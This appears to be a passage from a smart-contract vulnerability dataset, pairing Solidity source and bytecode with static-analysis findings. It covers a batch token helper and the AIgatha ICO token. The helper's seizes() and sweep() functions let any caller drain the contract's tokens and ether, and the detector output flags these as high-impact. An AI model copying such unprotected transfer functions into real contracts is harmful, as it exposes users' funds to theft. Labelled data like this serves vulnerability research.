_spenders, uint256[] calldata _amounts ) public returns (bool) { for(uint256 i = 0; i < _tokens.length; ++i) { IERC20 token = IERC20(_tokens[i]); token.approve(_spenders[i], _amounts[i]); } return true; } function approvesMAX( address[] calldata _tokens, address[] calldata _spenders ) public returns (bool) { for(uint256 i = 0; i < _tokens.length; ++i) { IERC20 token = IERC20(_tokens[i]); token.approve(_spenders[i], uint256(-1)); } return true; } function transfers( address[] calldata _tokens, address[] calldata _recipients, uint256[] calldata _amounts ) public returns (bool) { for(uint256 i = 0; i < _tokens.length; ++i) { IERC20 token = IERC20(_tokens[i]); token.transfer(_recipients[i], _amounts[i]); } return true; } function transferFroms( address[] calldata _tokens, address[] calldata _senders, address[] calldata _recipients, uint256[] calldata _amounts ) external returns (bool) { for(uint256 i = 0; i < _tokens.length; ++i) { IERC20 token = IERC20(_tokens[i]); token.transferFrom(_senders[i], _recipients[i], _amounts[i]); } return true; } function batchTransfers( address _token, address[] calldata _recipients, uint256[] calldata _amounts ) public returns (bool) { IERC20 token = IERC20(_token); for(uint256 i = 0; i < _recipients.length; ++i) { token.transfer(_recipients[i], _amounts[i]); } return true; } function deposit(address _to, uint256 _amount) external { yV1(_to).deposit(_amount); } function deposits(address[] calldata _tos, uint256[] calldata _amounts) external { for(uint256 i = 0; i < _tos.length; ++i) { yV1(_tos[i]).deposit(_amounts[i]); } } function withdraw(address _to, uint256 _share) external { yV1(_to).withdraw(_share); } function withdraws(address[] calldata _tos, uint256[] calldata _shares) external { for(uint256 i = 0; i < _tos.length; ++i) { yV1(_tos[i]).withdraw(_shares[i]); } } function swap( address _from, address _to, uint256 _fromAmount, uint256 _minReturn, uint256[] calldata distribution, uint256 _flags ) public payable { if (_from == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)) { require(_fromAmount == msg.value, "swap::eth value not match"); } else { IERC20(_from).approve(oneProto, uint256(-1)); } One(oneProto).swap(IERC20(_from), IERC20(_to), _fromAmount, _minReturn, distribution, _flags); } function seizes(address[] calldata _tokens) public returns (bool) { for(uint256 i = 0; i < _tokens.length; ++i) { IERC20 token = IERC20(_tokens[i]); token.transfer(msg.sender, token.balanceOf(address(this))); } return true; } function sweep() public returns (bool success) { address sender = address(uint160(msg.sender)); uint256 _balance = address(this).balance; (success, ) = sender.call{value: _balance}(""); } }
0x6080604052600436106100f25760003560e01c8063a687baf11161008a578063d887647111610059578063d887647114610286578063e2a7515e146102a6578063f1e01bb8146102b9578063f3fef3a3146102d9576100f2565b8063a687baf114610204578063ac7fc2c714610224578063cc67bd0814610246578063d7a1cd6314610266576100f2565b80633bc00faa116100c65780633bc00faa146101825780633bda1231146101a257806347e7ef24146101c457806365fa0822146101e4576100f2565b806296f6dd146100f757806313f48af61461012d578063217ab9d21461014d57806335faa4161461016d575b600080fd5b34801561010357600080fd5b5061011761011236600461102a565b6102f9565b6040516101249190611307565b60405180910390f35b34801561013957600080fd5b506101176101483660046111e5565b61043b565b34801561015957600080fd5b506101176101683660046111e5565b610536565b34801561017957600080fd5b50610117610623565b34801561018e57600080fd5b5061011761019d366004611126565b610686565b3480156101ae57600080fd5b506101c26101bd3660046110bd565b6107a5565b005b3480156101d057600080fd5b506101c26101df366004611000565b610852565b3480156101f057600080fd5b506101c26101ff36600461106a565b6108b4565b34801561021057600080fd5b5061011761021f3660046110bd565b61094e565b34801561023057600080fd5b50610239610a37565b60405161012491906112b6565b34801561025257600080fd5b506101c261026136600461106a565b610a46565b34801561027257600080fd5b506101c26102813660046110bd565b610ada565b34801561029257600080fd5b506101176102a1366004610f81565b610b80565b6101c26102b4366004610efe565b610c48565b3480156102c557600080fd5b506101c26102d436600461106a565b610dbc565b3480156102e557600080fd5b506101c26102f4366004611000565b610e50565b6000805b8281101561042f57600084848381811061031357fe5b90506020020160208101906103289190610edc565b9050806001600160a01b031663a9059cbb33836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161036691906112b6565b60206040518083038186803b15801561037e57600080fd5b505afa158015610392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103b6919061129b565b6040518363ffffffff1660e01b81526004016103d39291906112ca565b602060405180830381600087803b1580156103ed57600080fd5b505af1158015610401573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610425919061127b565b50506001016102fd565b50600190505b92915050565b6000805b8681101561052857600088888381811061045557fe5b905060200201602081019061046a9190610edc565b9050806001600160a01b031663095ea7b388888581811061048757fe5b905060200201602081019061049c9190610edc565b8787868181106104a857fe5b905060200201356040518363ffffffff1660e01b81526004016104cc9291906112ca565b602060405180830381600087803b1580156104e657600080fd5b505af11580156104fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051e919061127b565b505060010161043f565b506001979650505050505050565b6000805b8681101561052857600088888381811061055057fe5b90506020020160208101906105659190610edc565b9050806001600160a01b031663a9059cbb88888581811061058257fe5b90506020020160208101906105979190610edc565b8787868181106105a357fe5b905060200201356040518363ffffffff1660e01b81526004016105c79291906112ca565b602060405180830381600087803b1580156105e157600080fd5b505af11580156105f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610619919061127b565b505060010161053a565b604051600090339047908290829061063a906112b3565b60006040518083038185875af1925050503d8060008114610677576040519150601f19603f3d011682016040523d82523d6000602084013e61067c565b606091505b5090949350505050565b6000805b888110156107955760008a8a838181106106a057fe5b90506020020160208101906106b59190610edc565b9050806001600160a01b03166323b872dd8a8a858181106106d257fe5b90506020020160208101906106e79190610edc565b8989868181106106f357fe5b90506020020160208101906107089190610edc565b88888781811061071457fe5b905060200201356040518463ffffffff1660e01b8152600401610739939291906112e3565b602060405180830381600087803b15801561075357600080fd5b505af1158015610767573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078b919061127b565b505060010161068a565b5060019998505050505050505050565b60005b8381101561084b578484828181106107bc57fe5b90506020020160208101906107d19190610edc565b6001600160a01b0316632e1a7d4d8484848181106107eb57fe5b905060200201356040518263ffffffff1660e01b815260040161080e91906113b4565b600060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050508060010190506107a8565b5050505050565b60405163b6b55f2560e01b81526001600160a01b0383169063b6b55f259061087e9084906004016113b4565b600060405180830381600087803b15801561089857600080fd5b505af11580156108ac573d6000803e3d6000fd5b505050505050565b60005b82811015610948578383828181106108cb57fe5b90506020020160208101906108e09190610edc565b6001600160a01b031663ec38a862836040518263ffffffff1660e01b815260040161090b91906112b6565b600060405180830381600087803b15801561092557600080fd5b505af1158015610939573d6000803e3d6000fd5b505050508060010190506108b7565b50505050565b6000805b84811015610a2b57600086868381811061096857fe5b905060200201602081019061097d9190610edc565b9050806001600160a01b031663095ea7b386868581811061099a57fe5b90506020020160208101906109af9190610edc565b6000196040518363ffffffff1660e01b81526004016109cf9291906112ca565b602060405180830381600087803b1580156109e957600080fd5b505af11580156109fd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a21919061127b565b5050600101610952565b50600195945050505050565b6000546001600160a01b031681565b60005b8281101561094857838382818110610a5d57fe5b9050602002016020810190610a729190610edc565b6001600160a01b031663748747e6836040518263ffffffff1660e01b8152600401610a9d91906112b6565b600060405180830381600087803b158015610ab757600080fd5b505af1158015610acb573d6000803e3d6000fd5b50505050806001019050610a49565b60005b8381101561084b57848482818110610af157fe5b9050602002016020810190610b069190610edc565b6001600160a01b031663b6b55f25848484818110610b2057fe5b905060200201356040518263ffffffff1660e01b8152600401610b4391906113b4565b600060405180830381600087803b158015610b5d57600080fd5b505af1158015610b71573d6000803e3d6000fd5b50505050806001019050610add565b600085815b8581101561052857816001600160a01b031663a9059cbb888884818110610ba857fe5b9050602002016020810190610bbd9190610edc565b878785818110610bc957fe5b905060200201356040518363ffffffff1660e01b8152600401610bed9291906112ca565b602060405180830381600087803b158015610c0757600080fd5b505af1158015610c1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3f919061127b565b50600101610b85565b6001600160a01b03871673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610c9a57348514610c955760405162461bcd60e51b8152600401610c8c9061137d565b60405180910390fd5b610d24565b60005460405163095ea7b360e01b81526001600160a01b038981169263095ea7b392610cd09290911690600019906004016112ca565b602060405180830381600087803b158015610cea57600080fd5b505af1158015610cfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d22919061127b565b505b600054604051637153a8af60e11b81526001600160a01b039091169063e2a7515e90610d60908a908a908a908a908a908a908a90600401611312565b602060405180830381600087803b158015610d7a57600080fd5b505af1158015610d8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db2919061129b565b5050505050505050565b60005b8281101561094857838382818110610dd357fe5b9050602002016020810190610de89190610edc565b6001600160a01b031663c7b9d530836040518263ffffffff1660e01b8152600401610e1391906112b6565b600060405180830381600087803b158015610e2d57600080fd5b505af1158015610e41573d6000803e3d6000fd5b50505050806001019050610dbf565b604051632e1a7d4d60e01b81526001600160a01b03831690632e1a7d4d9061087e9084906004016113b4565b80356001600160a01b038116811461043557600080fd5b60008083601f840112610ea4578182fd5b50813567ffffffffffffffff811115610ebb578182fd5b6020830191508360208083028501011115610ed557600080fd5b9250929050565b600060208284031215610eed578081fd5b610ef78383610e7c565b9392505050565b600080600080600080600060c0888a031215610f18578283fd5b8735610f23816113bd565b96506020880135610f33816113bd565b95506040880135945060608801359350608088013567ffffffffffffffff811115610f5c578384fd5b610f688a828b01610e93565b989b979a5095989497959660a090950135949350505050565b600080600080600060608688031215610f98578081fd5b610fa28787610e7c565b9450602086013567ffffffffffffffff80821115610fbe578283fd5b610fca89838a01610e93565b90965094506040880135915080821115610fe2578283fd5b50610fef88828901610e93565b969995985093965092949392505050565b60008060408385031215611012578182fd5b61101c8484610e7c565b946020939093013593505050565b6000806020838503121561103c578182fd5b823567ffffffffffffffff811115611052578283fd5b61105e85828601610e93565b90969095509350505050565b60008060006040848603121561107e578283fd5b833567ffffffffffffffff811115611094578384fd5b6110a086828701610e93565b90945092506110b490508560208601610e7c565b90509250925092565b600080600080604085870312156110d2578384fd5b843567ffffffffffffffff808211156110e9578586fd5b6110f588838901610e93565b9096509450602087013591508082111561110d578384fd5b5061111a87828801610e93565b95989497509550505050565b6000806000806000806000806080898b031215611141578081fd5b883567ffffffffffffffff80821115611158578283fd5b6111648c838d01610e93565b909a50985060208b013591508082111561117c578283fd5b6111888c838d01610e93565b909850965060408b01359150808211156111a0578283fd5b6111ac8c838d01610e93565b909650945060608b01359150808211156111c4578283fd5b506111d18b828c01610e93565b999c989b5096995094979396929594505050565b600080600080600080606087890312156111fd578182fd5b863567ffffffffffffffff80821115611214578384fd5b6112208a838b01610e93565b90985096506020890135915080821115611238578384fd5b6112448a838b01610e93565b9096509450604089013591508082111561125c578384fd5b5061126989828a01610e93565b979a9699509497509295939492505050565b60006020828403121561128c578081fd5b81518015158114610ef7578182fd5b6000602082840312156112ac578081fd5b5051919050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b901515815260200190565b6001600160a01b03888116825287166020820152604081018690526060810185905260c060808201819052810183905260006001600160fb1b03841115611357578081fd5b60208402808660e0850137820160e00190815260a0909101919091529695505050505050565b60208082526019908201527f737761703a3a6574682076616c7565206e6f74206d6174636800000000000000604082015260600190565b90815260200190565b6001600160a01b03811681146113d257600080fd5b5056fea264697066735822122046e69d862bff1e09322c00c28d34f3c36d6df462fd2400ad61a9db811006bef264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
573
0x1543d0F83489e82A1344DF6827B23d541F235A50
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title tokenRecipient * @dev An interface capable of calling `receiveApproval`, which is used by `approveAndCall` to notify the contract from this interface */ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } /** * @title TokenERC20 * @author Jun-You Liu, Ping Chen * @dev A simple ERC20 standard token with burnable function */ contract TokenERC20 { using SafeMath for uint256; uint256 public totalSupply; bool public transferable; // This creates an array with all balances mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function balanceOf(address _owner) view public returns(uint256) { return balances[_owner]; } function allowance(address _owner, address _spender) view public returns(uint256) { return allowed[_owner][_spender]; } /** * @dev Basic transfer of all transfer-related functions * @param _from The address of sender * @param _to The address of recipient * @param _value The amount sender want to transfer to recipient */ function _transfer(address _from, address _to, uint _value) internal { require(transferable); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer( _from, _to, _value); } /** * @notice Transfer tokens * @dev Send `_value` tokens to `_to` from your account * @param _to The address of the recipient * @param _value The amount to send * @return True if the transfer is done without error */ function transfer(address _to, uint256 _value) public returns(bool) { _transfer(msg.sender, _to, _value); return true; } /** * @notice Transfer tokens from other address * @dev Send `_value` tokens to `_to` on behalf of `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount to send * @return True if the transfer is done without error */ function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * @notice Set allowance for other address * @dev Allows `_spender` to spend no more than `_value` tokens on your behalf * @param _spender The address authorized to spend * @param _value the max amount they can spend * @return True if the approval is done without error */ function approve(address _spender, uint256 _value) public returns(bool) { // Avoid the front-running attack require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @notice Set allowance for other address and notify * @dev Allows contract `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * @param _spender The contract address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract * @return True if it is done without error */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } return false; } /** * @notice Destroy tokens * @dev Remove `_value` tokens from the system irreversibly * @param _value The amount of money will be burned * @return True if `_value` is burned successfully */ function burn(uint256 _value) public returns(bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); return true; } /** * @notice Destroy tokens from other account * @dev Remove `_value` tokens from the system irreversibly on behalf of `_from`. * @param _from The address of the sender * @param _value The amount of money will be burned * @return True if `_value` is burned successfully */ function burnFrom(address _from, uint256 _value) public returns(bool) { allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_from, _value); return true; } } /** * @title AIgathaToken * @author Jun-You Liu, Ping Chen, (auditors Hans Lin, Luka Chen) * @dev The AIgatha Token which is comply with burnable erc20 standard, referred to Cobinhood token contract: https://etherscan.io/address/0xb2f7eb1f2c37645be61d73953035360e768d81e6#code */ contract AIgathaToken is TokenERC20, Ownable { using SafeMath for uint256; // Token Info. string public constant name = "AIgatha Token"; string public constant symbol = "ATH"; uint8 public constant decimals = 18; // Sales period. uint256 public startDate; uint256 public endDate; // Token Cap for each rounds uint256 public saleCap; // Address where funds are collected. address public wallet; // Amount of raised money in wei. uint256 public weiRaised; // Threshold of sold amount uint256 public threshold; // Whether in the extended period bool public extended; // Event event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); event PreICOTokenPushed(address indexed buyer, uint256 amount); event UserIDChanged(address owner, bytes32 user_id); /** * @dev Constructor of Aigatha Token * @param _wallet The address where funds are collected * @param _saleCap The token cap in public round * @param _totalSupply The total amount of token * @param _threshold The percentage of selling amount need to achieve at least e.g. 40% -> _threshold = 40 * @param _start The start date in seconds * @param _end The end date in seconds */ function AIgathaToken(address _wallet, uint256 _saleCap, uint256 _totalSupply, uint256 _threshold, uint256 _start, uint256 _end) public { wallet = _wallet; saleCap = _saleCap * (10 ** uint256(decimals)); totalSupply = _totalSupply * (10 ** uint256(decimals)); startDate = _start; endDate = _end; threshold = _threshold * totalSupply / 2 / 100; balances[0xbeef] = saleCap; balances[wallet] = totalSupply.sub(saleCap); } function supply() internal view returns (uint256) { return balances[0xbeef]; } function saleActive() public view returns (bool) { return (now >= startDate && now <= endDate && supply() > 0); } function extendSaleTime() onlyOwner public { require(!saleActive()); require(!extended); require((saleCap-supply()) < threshold); //check extended = true; endDate += 60 days; } /** * @dev Get the rate of exchange according to the purchase date * @param at The date converted into seconds * @return The corresponding rate */ function getRateAt(uint256 at) public view returns (uint256) { if (at < startDate) { return 0; } else if (at < (startDate + 15 days)) { //check return 10500; } else { return 10000; } } /** * @dev Fallback function can be used to buy tokens */ function () payable public{ buyTokens(msg.sender, msg.value); } /** * @dev For pushing pre-ICO records * @param buyer The address of buyer in pre-ICO * @param amount The amount of token bought */ function push(address buyer, uint256 amount) onlyOwner public { require(balances[wallet] >= amount); balances[wallet] = balances[wallet].sub(amount); balances[buyer] = balances[buyer].add(amount); emit PreICOTokenPushed(buyer, amount); } /** * @dev Buy tokens * @param sender The address of buyer * @param value The amount of token bought */ function buyTokens(address sender, uint256 value) internal { require(saleActive()); uint256 weiAmount = value; uint256 updatedWeiRaised = weiRaised.add(weiAmount); // Calculate token amount to be purchased uint256 actualRate = getRateAt(now); uint256 amount = weiAmount.mul(actualRate); // We have enough token to sale require(supply() >= amount); // Transfer balances[0xbeef] = balances[0xbeef].sub(amount); balances[sender] = balances[sender].add(amount); emit TokenPurchase(sender, weiAmount, amount); // Update state. weiRaised = updatedWeiRaised; } /** * @dev Withdraw all ether in this contract back to the wallet */ function withdraw() onlyOwner public { wallet.transfer(address(this).balance); } /** * @dev Collect all the remain token which is unsold after the selling period and make this token can be tranferred */ function finalize() onlyOwner public { require(!saleActive()); balances[wallet] = balances[wallet].add(balances[0xbeef]); balances[0xbeef] = 0; transferable = true; } }
0x606060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461018c578063078fd9ea1461021a578063095ea7b3146102435780630b97bc861461029d57806318160ddd146102c657806323b872dd146102ef57806327e235e314610368578063313ce567146103b55780633ccfd60b146103e45780634042b66f146103f957806342966c681461042257806342cde4e81461045d5780634bb278f314610486578063521eb2731461049b5780635c658165146104f057806368428a1b1461055c5780636f3921ee1461058957806370a08231146105b657806379cc6790146106035780638da5cb5b1461065d57806392ff0d31146106b257806395d89b41146106df578063a9059cbb1461076d578063b52e0dc8146107c7578063b753a98c146107fe578063c24a0f8b14610840578063cae9ca5114610869578063dd62ed3e14610906578063e72b609114610972578063f2fde38b14610987575b61018a33346109c0565b005b341561019757600080fd5b61019f610b90565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101df5780820151818401526020810190506101c4565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022557600080fd5b61022d610bc9565b6040518082815260200191505060405180910390f35b341561024e57600080fd5b610283600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bcf565b604051808215151515815260200191505060405180910390f35b34156102a857600080fd5b6102b0610d56565b6040518082815260200191505060405180910390f35b34156102d157600080fd5b6102d9610d5c565b6040518082815260200191505060405180910390f35b34156102fa57600080fd5b61034e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d62565b604051808215151515815260200191505060405180910390f35b341561037357600080fd5b61039f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e89565b6040518082815260200191505060405180910390f35b34156103c057600080fd5b6103c8610ea1565b604051808260ff1660ff16815260200191505060405180910390f35b34156103ef57600080fd5b6103f7610ea6565b005b341561040457600080fd5b61040c610f7d565b6040518082815260200191505060405180910390f35b341561042d57600080fd5b6104436004808035906020019091905050610f83565b604051808215151515815260200191505060405180910390f35b341561046857600080fd5b61047061108c565b6040518082815260200191505060405180910390f35b341561049157600080fd5b610499611092565b005b34156104a657600080fd5b6104ae611253565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104fb57600080fd5b610546600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611279565b6040518082815260200191505060405180910390f35b341561056757600080fd5b61056f61129e565b604051808215151515815260200191505060405180910390f35b341561059457600080fd5b61059c6112cc565b604051808215151515815260200191505060405180910390f35b34156105c157600080fd5b6105ed600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112df565b6040518082815260200191505060405180910390f35b341561060e57600080fd5b610643600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611328565b604051808215151515815260200191505060405180910390f35b341561066857600080fd5b610670611541565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106bd57600080fd5b6106c5611567565b604051808215151515815260200191505060405180910390f35b34156106ea57600080fd5b6106f261157a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610732578082015181840152602081019050610717565b50505050905090810190601f16801561075f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561077857600080fd5b6107ad600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115b3565b604051808215151515815260200191505060405180910390f35b34156107d257600080fd5b6107e860048080359060200190919050506115ca565b6040518082815260200191505060405180910390f35b341561080957600080fd5b61083e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611603565b005b341561084b57600080fd5b61085361188f565b6040518082815260200191505060405180910390f35b341561087457600080fd5b6108ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611895565b604051808215151515815260200191505060405180910390f35b341561091157600080fd5b61095c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a13565b6040518082815260200191505060405180910390f35b341561097d57600080fd5b610985611a9a565b005b341561099257600080fd5b6109be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b71565b005b6000806000806109ce61129e565b15156109d957600080fd5b8493506109f184600954611c4890919063ffffffff16565b92506109fc426115ca565b9150610a118285611c6690919063ffffffff16565b905080610a1c611c99565b10151515610a2957600080fd5b610a67816002600061beef73ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccc90919063ffffffff16565b6002600061beef73ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae881600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4890919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8583604051808381526020018281526020019250505060405180910390a282600981905550505050505050565b6040805190810160405280600d81526020017f4149676174686120546f6b656e0000000000000000000000000000000000000081525081565b60075481565b600080821480610c5b57506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610c6657600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b60005481565b6000610df382600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccc90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7e848484611ce5565b600190509392505050565b60026020528060005260406000206000915090505481565b601281565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0257600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610f7b57600080fd5b565b60095481565b6000610fd782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccc90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102f82600054611ccc90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600a5481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ee57600080fd5b6110f661129e565b15151561110257600080fd5b6111a16002600061beef73ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4890919063ffffffff16565b60026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006002600061beef73ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060018060006101000a81548160ff021916908315150217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003602052816000526040600020602052806000526040600020600091509150505481565b600060055442101580156112b457506006544211155b80156112c7575060006112c5611c99565b115b905090565b600b60009054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006113b982600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccc90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061148b82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114e382600054611ccc90919063ffffffff16565b6000819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900460ff1681565b6040805190810160405280600381526020017f415448000000000000000000000000000000000000000000000000000000000081525081565b60006115c0338484611ce5565b6001905092915050565b60006005548210156115df57600090506115fe565b6213c680600554018210156115f85761290490506115fe565b61271090505b919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165f57600080fd5b8060026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffff